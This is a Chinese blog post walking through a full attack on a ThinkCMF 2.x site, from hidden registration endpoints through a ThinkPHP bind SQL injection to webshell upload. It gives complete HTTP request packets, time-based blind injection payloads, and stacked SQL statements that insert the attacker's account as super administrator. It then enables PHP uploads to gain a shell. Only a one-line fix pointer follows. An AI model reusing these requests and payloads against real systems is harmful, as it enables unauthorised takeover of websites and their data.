mysql注入攻击getshell_[漏洞案例]thinkcmf 2.x从sql注入到getshell实战

文章中提到了三个漏洞,一个注入,两个模板注入写shell。

但是系统是部署在linux下面的,模板注入是不行的。

所以文章编辑处的sql注入漏洞是比较好的方法了。

但是这里的注入需要登陆。

虽然网站默认关闭了注册,登陆等前端页面展示。

但其实后端的逻辑是没有关闭的。

所以我们只要抓到注册,登陆的URL就可以注册一个用户,从而利用SQL注入漏洞了。

第一步:注册用户

因为注册用户需要用到验证码,请求验证码的URL为

fe1ef51aa594e84288c2aa75b8766deb.png

下面是注册请求包,把验证码放到verify参数里面

POST /index.php?g=user&m=register&a=doregister HTTP/1.1

Host: xx.target.com

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.9

Cookie: _ga=GA1.3.247321242.1547113529; _gid=GA1.3.1692231506.1547113529; Hm_lvt_fd3ebc39e3d20d958cc417964a1a070f=1547114908; GmZMlN_think_language=zh-CN; PHPSESSID=rca5i9uik29o378crgi37c0v61spvn88; _gat=1

Connection: close

Content-Type: application/x-www-form-urlencoded

Content-Length: 72

email=r00tuser@email.com&password=xxxxxxx&repassword=xxxxxxx&verify=8486

b365db7a77723700c07cc7eef7cfb044.png

成功注册了个用户。

第二步:登陆

同样登陆也需要验证码,同样用上面请求的URL获取一个验证码,填写在verify参数里面

请求包如下:

0a1b22b611f93914ae7d9bae7f852c25.png

第三步:注入

因为thinkcmf是用thinkphp 3.2.3的,存在bind 注入,原理就不多解释了,可以参考先知喵呜写的tp安全总结。

请求包如下:

POST /index.php?g=Portal&m=Article&a=edit_post HTTP/1.1

Host: xx.target.com

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.9

Cookie: _ga=GA1.3.247321242.1547113529; _gid=GA1.3.1692231506.1547113529; Hm_lvt_fd3ebc39e3d20d958cc417964a1a070f=1547114908; GmZMlN_think_language=zh-CN; PHPSESSID=rca5i9uik29o378crgi37c0v61spvn88; _gat=1

Connection: close

Content-Type: application/x-www-form-urlencoded

Content-Length: 184

post[post_title]=122&post[post_content]=1&term=123&post[post_title]=aaa&post_title=123&post[id][0]=bind&post[id][1]=0 and if(ascii(substr(user(),1,1))=115,benchmark(1000000,sha(1)),1)

由于程序关闭了报错,而且这里是update类型注入,所以这里只能用延时注入。

payload:and if(ascii(substr(user(),1,1))=115,benchmark(1000000,sha(1)),1)

意思为猜测当前数据库用户的首位字符的ascii码。

正常请求,返回时间为64。

09a02f777ecf2bf9393ea68c69e469e6.png

当猜测ascii码为116时,返回时间为417。

f0027cac54f656e7487f3b767ed5cd94.png

因为thinkphp 底层用的是pdo所写,所以我们是可以执行多语句的。

通过一番延时注入猜测到表前缀为xxxx,表结构大多数不会变,所以我们只要猜测到表前缀即可,通过thinkcmf的源码来注入了。

下面通过注入执行多语句从而将前台用户r00tuse@email.com提升为后台管理员。

首先是注入,设置用户的user_type。

payload:;update `xxxxx_users` set user_type=1 where `user_email`=r00tuse@email.com';

7c682d7bf9279f6444922cfb60783aef.png

这里还有一步是通过注入获取r00tuser@email.com这个用户的user_id。

payload:and if((select id from xxxx_users where user_email='r00tuser@email.com')=6,benchmark(1000000,sha(1)),1)

bfd54e2e3c0c01acfc3fe2f023823e9f.png

用户user_id为6。

接着是修改用户角色为超级管理员。

payload:;INSERT INTO `xxxx_role_user`(`role_id`,`user_id`)values(1,6);

902609bd39d179bf4f3e673138f9a3e4.png

第四步:登陆后台,修改上传配置

用户名:r00tuser@email.com 密码:xxxxxxxxxx

成功登陆:

3364cb69c072a418a25a3ce8800fb90f.png

修改上传设置,添加上传文件后缀php

http://xx.target.com/index.php?g=Admin&m=Setting&a=upload

a48c1820dd2fe6a6391e43eb18ad1ef1.png

最后一步,找一个可以上传图片的地方,直接把php文件上传即可。

13a700a9bf20ff6ab1f7ac9155c75beb.png

点击图片,直接选择xx.php 即可。

请求包如下,只是打印Hello,World。

6b2b9e77aceb7bf85e0756d5f3b7af77.png

在返回包中获取到php存放地址。

1f6e179cb41b8413ac66ba7c4449a76b.png

cc1f8ef9df23322fd25ac7bdbc2c71ed.png

成功getshell。

修复建议:

1):在底层think_filter方法添加bind过滤。具体为

文件地址:simplewind\Core\Mode\Api\functions.php

e8b9b444e7f476d7bcdb32e14c75ac22.png

0x02 说在最后

pdo让很多注入到getshell成为了可能,从注入到getshell一套下来,整个感受就一个字,爽!

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值